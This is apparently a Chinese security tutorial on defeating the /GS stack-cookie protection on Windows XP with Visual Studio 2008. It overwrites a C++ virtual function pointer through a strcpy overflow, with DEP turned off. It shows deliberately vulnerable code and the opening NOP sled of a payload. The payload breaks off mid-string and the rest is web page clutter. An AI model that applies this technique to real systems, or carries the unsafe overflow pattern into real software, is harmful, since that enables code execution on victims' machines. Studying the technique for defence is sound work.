淹没虚函数地址过GS保护(关闭DEP保护)

作者:黑蛋

1.简介
针对缓冲区溢出覆盖函数返回地址这一特征,微软在编译程序时使用了一个安全编译选项–GS, Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默认启用了这个编译选项。在所有函数调用时,会向栈中压入一个DWORD,他是data段第一个DWORD与EBP亦或之后形成的值,处于EBP+4的位置,在所有函数执行完返回时,会有一个检查函数,检测EBP+4的值是否和原来一样,一样则正常返回,反之进入异常处理流程,函数不会正常返回,这个操作叫 Security check,如果有缓冲区溢出函数返回值,势必会淹没Security Cookie,进入异常处理流程。如果我们在有GS保护的程序中使用栈溢出淹没返回地址EBP+4的位置,势必会破坏EBP-4的值,在函数返回之前经过Security check,会直接导致我们栈溢出淹没返回值失败,本篇通过调用c++虚函数在GS检查函数之前的特征,通过淹没虚函数地址,让虚函数地址指向我们的shellcode,达到绕过GS保护成功溢出的目的。详细了解GS保护机制可以参考《0day安全》这本书。

2.环境配置

环境

配置

操作系统

XP系统

编译器

vs2008

调试器

x32dbg

3.代码
#include “stdafx.h”
#include “string.h”
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar();
}
virtual void bar()
{
}
};
int main()
{

GSVirtual test;
test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

极安御信安全研究院

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值